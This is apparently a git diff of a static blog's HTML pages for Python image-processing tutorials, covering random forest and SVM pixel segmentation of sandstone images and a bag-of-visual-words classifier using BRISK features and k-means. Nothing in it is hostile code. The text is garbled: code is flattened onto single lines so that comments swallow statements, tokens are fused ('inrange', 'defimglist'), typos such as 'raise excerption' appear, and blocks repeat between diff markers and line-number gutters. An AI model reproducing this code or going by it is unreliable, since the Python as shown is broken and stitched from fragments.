# Check if the input mask is RGB or grey and convert to grey if RGB if input_mask.ndim == 3and input_mask.shape[-1] == 3: label = cv2.cvtColor(input_mask,cv2.COLOR_BGR2GRAY) elif input_mask.ndim == 2: label = input_mask else: raise excerption("The module works only with grayscale and RGB images!")
# Add pixel values to the data frame label_values = label.reshape(-1) df2['Label_Value'] = label_values df2['Mask_Name'] = mask
mask_dataset = mask_dataset.append(df2) # Update mask dataframe with all the info from each mask
mask_dataset = pd.DataFrame() # Create dataframe to capture mask info.
mask_path = "images/train_masks/" for mask in os.listdir(mask_path): # iterate through each file to perform some action print(mask)
df2 = pd.DataFrame() # Temporary dataframe to capture info for each mask in the loop input_mask = cv2.imread(mask_path + mask)
# Check if the input mask is RGB or grey and convert to grey if RGB if input_mask.ndim == 3and input_mask.shape[-1] == 3: label = cv2.cvtColor(input_mask,cv2.COLOR_BGR2GRAY) elif input_mask.ndim == 2: label = input_mask else: raise excerption("The module works only with grayscale and RGB images!")
# Add pixel values to the data frame label_values = label.reshape(-1) df2['Label_Value'] = label_values df2['Mask_Name'] = mask
mask_dataset = mask_dataset.append(df2) # Update mask dataframe with all the info from each mask
STEP 3: GET DATA READY FOR RANDOM FOREST (or other classifier) COMBINE BOTH DATAFRAMES INTO A SINGLE DATASET
-
dataset = pd.concat([image_dataset, mask_dataset], axis=1) # Concatenate both image and mask datasets
# If you expect image and mask names to be the same this is where we can perform sanity check # dataset['Image_Name'].equals(dataset['Mask_Name']) # If we do not want to include pixels with value 0 # e.g. Sometimes unlabeled pixels may be given a value 0. dataset = dataset[dataset.Label_Value != 0]
# Assign training features to X and labels to Y # Drop columns that are not relevant for training (non-features) X = dataset.drop(labels = ["Image_Name", "Mask_Name", "Label_Value"], axis=1)
# Assign label values to Y (our prediction) Y = dataset["Label_Value"].values
# Split data into train and test to verify accuracy after fitting the model. from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=20)
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
dataset = pd.concat([image_dataset, mask_dataset], axis=1) # Concatenate both image and mask datasets
# If you expect image and mask names to be the same this is where we can perform sanity check # dataset['Image_Name'].equals(dataset['Mask_Name']) # If we do not want to include pixels with value 0 # e.g. Sometimes unlabeled pixels may be given a value 0. dataset = dataset[dataset.Label_Value != 0]
# Assign training features to X and labels to Y # Drop columns that are not relevant for training (non-features) X = dataset.drop(labels = ["Image_Name", "Mask_Name", "Label_Value"], axis=1)
# Assign label values to Y (our prediction) Y = dataset["Label_Value"].values
# Split data into train and test to verify accuracy after fitting the model. from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=20)
STEP 4: Define the classifier and fit a model with our training data
-
# Import training classifier from sklearn.ensemble import RandomForestClassifier # Instantiate model with n number of decision trees model = RandomForestClassifier(n_estimators = 50, random_state = 42)
# Train the model on training data model.fit(X_train, y_train)
+
1 2 3 4 5 6 7
# Import training classifier from sklearn.ensemble import RandomForestClassifier # Instantiate model with n number of decision trees model = RandomForestClassifier(n_estimators = 50, random_state = 42)
# Train the model on training data model.fit(X_train, y_train)
STEP 5: Accuracy check
-
from sklearn import metrics
prediction_test = model.predict(X_test) # Check accuracy on test dataset. print("Accuracy = ", metrics.accuracy_score(y_test, prediction_test))
+
1 2 3 4 5
from sklearn import metrics
prediction_test = model.predict(X_test) # Check accuracy on test dataset. print("Accuracy = ", metrics.accuracy_score(y_test, prediction_test))
STEP 6: SAVE MODEL FOR FUTURE USE
-
# You can store the model for future use. In fact, this is how you do machine elarning # Train on training images, validate on test images and deploy the model on unknown images. # Save the trained model as pickle string to disk for future use model_name = "sandstone_model" pickle.dump(model, open(model_name, 'wb'))
+
1 2 3 4 5
# You can store the model for future use. In fact, this is how you do machine elarning # Train on training images, validate on test images and deploy the model on unknown images. # Save the trained model as pickle string to disk for future use model_name = "sandstone_model" pickle.dump(model, open(model_name, 'wb'))
@@ -5324,6 +5322,8 @@
目录
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/posts/DIP-Python tutorials for image processing and machine learning(68)-SVM/index.html b/posts/DIP-Python tutorials for image processing and machine learning(68)-SVM/index.html
index 8dae430f4a..0c4d2c8582 100644
--- a/posts/DIP-Python tutorials for image processing and machine learning(68)-SVM/index.html
+++ b/posts/DIP-Python tutorials for image processing and machine learning(68)-SVM/index.html
@@ -44,8 +44,6 @@
-
-
@@ -644,16 +642,16 @@
shape_fit_: tuple of int of shape (n_dimensions_of_X,)
Array dimensions of training vector X.
68b - SVM vs. Random Forest for image segmentation
# Now, add a column in the data frame for the Labels # For this, we need to import the labeled image labeled_img = cv2.imread('images/Train_masks/Sandstone_Versa0000.tif') # Remember that you can load an image with partial labels # But, drop the rows with unlabeled data
# Define the dependent variable that needs to be predicted (labels) Y = df["Labels"].values
# Define the independent variables X = df.drop(labels = ["Labels"], axis=1)
# Split data into train and test to verify accuracy after fitting the model. from sklearn.model_selection import train_test_split X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.4, random_state=20)
-
from sklearn.svm import LinearSVC
model = LinearSVC(max_iter=100) model.fit(X_train, Y_train) prediction_test = model.predict(X_test)
# Now, add a column in the data frame for the Labels # For this, we need to import the labeled image labeled_img = cv2.imread('images/Train_masks/Sandstone_Versa0000.tif') # Remember that you can load an image with partial labels # But, drop the rows with unlabeled data
# Define the dependent variable that needs to be predicted (labels) Y = df["Labels"].values
# Define the independent variables X = df.drop(labels = ["Labels"], axis=1)
# Split data into train and test to verify accuracy after fitting the model. from sklearn.model_selection import train_test_split X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.4, random_state=20)
+
1 2 3 4 5
from sklearn.svm import LinearSVC
model = LinearSVC(max_iter=100) model.fit(X_train, Y_train) prediction_test = model.predict(X_test)
C:\Users\gzjzx\anaconda3\lib\site-packages\sklearn\svm\_base.py:1225: ConvergenceWarning: Liblinear failed to converge, increase the number of iterations.
warnings.warn(
# You can store the model for future use. In fact, this is how you do machine elarning # Train on training images, validate on test images and deploy the model on unknown images. # 储存训练模型
import pickle
# Save the trained model as pickle string to disk for future use filename = "sandstone_model" pickle.dump(model, open(filename, 'wb'))
# To test the model on future datasets loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.predict(X)
# You can store the model for future use. In fact, this is how you do machine elarning # Train on training images, validate on test images and deploy the model on unknown images. # 储存训练模型
import pickle
# Save the trained model as pickle string to disk for future use filename = "sandstone_model" pickle.dump(model, open(filename, 'wb'))
# To test the model on future datasets loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.predict(X)
BRISK is a good replacement to SIFT. ORB also works but didn’t work well for this example
@@ -497,7 +495,7 @@
Train_BOVW
-
brisk = cv2.BRISK_create(30) for image_path in image_paths: im = cv2.imread(image_path) kpts, des = brisk.detectAndCompute(im, None) des_list.append((image_path, des))
+
1 2 3 4 5
brisk = cv2.BRISK_create(30) for image_path in image_paths: im = cv2.imread(image_path) kpts, des = brisk.detectAndCompute(im, None) des_list.append((image_path, des))
Stack all the descriptors vertically in a numpy array
@@ -505,7 +503,7 @@
Train_BOVW
-
descriptors = des_list[0][1] for image_path, descriptor in des_list[1:]: descriptors = np.vstack((descriptors, descriptor)) descriptors
+
1 2 3 4
descriptors = des_list[0][1] for image_path, descriptor in des_list[1:]: descriptors = np.vstack((descriptors, descriptor)) descriptors
kmeans works only on float, so convert integers to float
-
descriptors_float = descriptors.astype(float)
+
1
descriptors_float = descriptors.astype(float)
Perform k-means clustering and vector quantization
@@ -526,7 +524,7 @@
Train_BOVW
这里使用 k-means，也可以使用 SVM 或 随机森林。
-
from scipy.cluster.vq import kmeans, vq
k = 200# k means with 100 clusters gives lower accuracy for the aeroplane example voc, variance = kmeans(descriptors_float, k, 1)
+
1 2 3 4
from scipy.cluster.vq import kmeans, vq
k = 200# k means with 100 clusters gives lower accuracy for the aeroplane example voc, variance = kmeans(descriptors_float, k, 1)
Calculate the histogram of features and represent them as vector
@@ -539,12 +537,12 @@
Train_BOVW
-
im_features = np.zeros((len(image_paths), k), "float32") for i inrange(len(image_paths)): words, distance = vq(des_list[i][1],voc) for w in words: im_features[i][w] += 1
-
words
+
1 2 3 4 5
im_features = np.zeros((len(image_paths), k), "float32") for i inrange(len(image_paths)): words, distance = vq(des_list[i][1],voc) for w in words: im_features[i][w] += 1
# Get path to all images and save them in a list # image_paths and the corresponding label in image_paths image_paths = [] image_classes = [] class_id = 0
# To make it easy to list all file names in a directory let us define a function
defimglist(path): return [os.path.join(path, f) for f in os.listdir(path)]
# Fill the placeholder empty lists with image path, classes, and add class ID number
for testing_name in testing_names: dir = os.path.join(test_path, testing_name) class_path = imglist(dir) image_paths+=class_path image_classes+=[class_id]*len(class_path) class_id+=1
# Create feature extraction and keypoint detector objects # SIFT is not available anymore in openCV # Create List where all the descriptors will be stored des_list = []
# BRISK is a good replacement to SIFT. ORB also works but didn;t work well for this example brisk = cv2.BRISK_create(30)
for image_path in image_paths: im = cv2.imread(image_path) kpts, des = brisk.detectAndCompute(im, None) des_list.append((image_path, des))
# Stack all the descriptors vertically in a numpy array descriptors = des_list[0][1] for image_path, descriptor in des_list[0:]: descriptors = np.vstack((descriptors, descriptor))
# Calculate the histogram of features # vq Assigns codes from a code book to observations. from scipy.cluster.vq import vq test_features = np.zeros((len(image_paths), k), "float32") for i inrange(len(image_paths)): words, distance = vq(des_list[i][1],voc) for w in words: test_features[i][w] += 1
# Scale the features # Standardize features by removing the mean and scaling to unit variance # Scaler (stdSlr comes from the pickled file we imported) test_features = stdSlr.transform(test_features)
# Get path to all images and save them in a list # image_paths and the corresponding label in image_paths image_paths = [] image_classes = [] class_id = 0
# To make it easy to list all file names in a directory let us define a function
defimglist(path): return [os.path.join(path, f) for f in os.listdir(path)]
# Fill the placeholder empty lists with image path, classes, and add class ID number
for testing_name in testing_names: dir = os.path.join(test_path, testing_name) class_path = imglist(dir) image_paths+=class_path image_classes+=[class_id]*len(class_path) class_id+=1
# Create feature extraction and keypoint detector objects # SIFT is not available anymore in openCV # Create List where all the descriptors will be stored des_list = []
# BRISK is a good replacement to SIFT. ORB also works but didn;t work well for this example brisk = cv2.BRISK_create(30)
for image_path in image_paths: im = cv2.imread(image_path) kpts, des = brisk.detectAndCompute(im, None) des_list.append((image_path, des))
# Stack all the descriptors vertically in a numpy array descriptors = des_list[0][1] for image_path, descriptor in des_list[0:]: descriptors = np.vstack((descriptors, descriptor))
# Calculate the histogram of features # vq Assigns codes from a code book to observations. from scipy.cluster.vq import vq test_features = np.zeros((len(image_paths), k), "float32") for i inrange(len(image_paths)): words, distance = vq(des_list[i][1],voc) for w in words: test_features[i][w] += 1
# Scale the features # Standardize features by removing the mean and scaling to unit variance # Scaler (stdSlr comes from the pickled file we imported) test_features = stdSlr.transform(test_features)
Until here most of the above code is similar to Train excerpt for kmeans clustering
@@ -610,7 +608,7 @@
Validate_BOVW
-
true_class = [classes_names[i] for i in image_classes]
+
1
true_class = [classes_names[i] for i in image_classes]
Perform the predictions and report predicted class names.
@@ -618,24 +616,24 @@
Validate_BOVW
-
predictions = [classes_names[i] for i in clf.predict(test_features)]
+
1
predictions = [classes_names[i] for i in clf.predict(test_features)]
